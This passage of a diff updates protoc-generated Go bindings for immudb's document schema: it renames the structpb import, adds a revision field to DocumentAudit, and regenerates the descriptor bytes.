`protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` + Value *structpb.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` } func (x *DocumentQuery) Reset() { @@ -543,7 +543,7 @@ func (x *DocumentQuery) GetOperator() QueryOperator { return QueryOperator_EQ } -func (x *DocumentQuery) GetValue() *_struct.Value { +func (x *DocumentQuery) GetValue() *structpb.Value { if x != nil { return x.Value } @@ -626,10 +626,10 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*structpb.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -664,7 +664,7 @@ func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{7} } -func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { +func (x *DocumentSearchResponse) GetResults() []*structpb.Struct { if x != nil { return x.Results } @@ -949,8 +949,9 @@ type DocumentAudit struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` - TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` + Value *structpb.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` + TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` + Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` } func (x *DocumentAudit) Reset() { @@ -985,7 +986,7 @@ func (*DocumentAudit) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{12} } -func (x *DocumentAudit) GetValue() *_struct.Struct { +func (x *DocumentAudit) GetValue() *structpb.Struct { if x != nil { return x.Value } @@ -999,6 +1000,13 @@ func (x *DocumentAudit) GetTransactionID() uint64 { return 0 } +func (x *DocumentAudit) GetRevision() uint64 { + if x != nil { + return x.Revision + } + return 0 +} + type IndexOption struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1639,190 +1647,192 @@ var file_documentschema_proto_rawDesc = []byte{ 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, - 0x65, 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x65, 0x66, 0x74, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, + 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, + 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x49, 0x0a, 0x0d, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, - 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, - 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, - 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, - 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, 0x0b, 0x0a, 0x0f, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, + 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 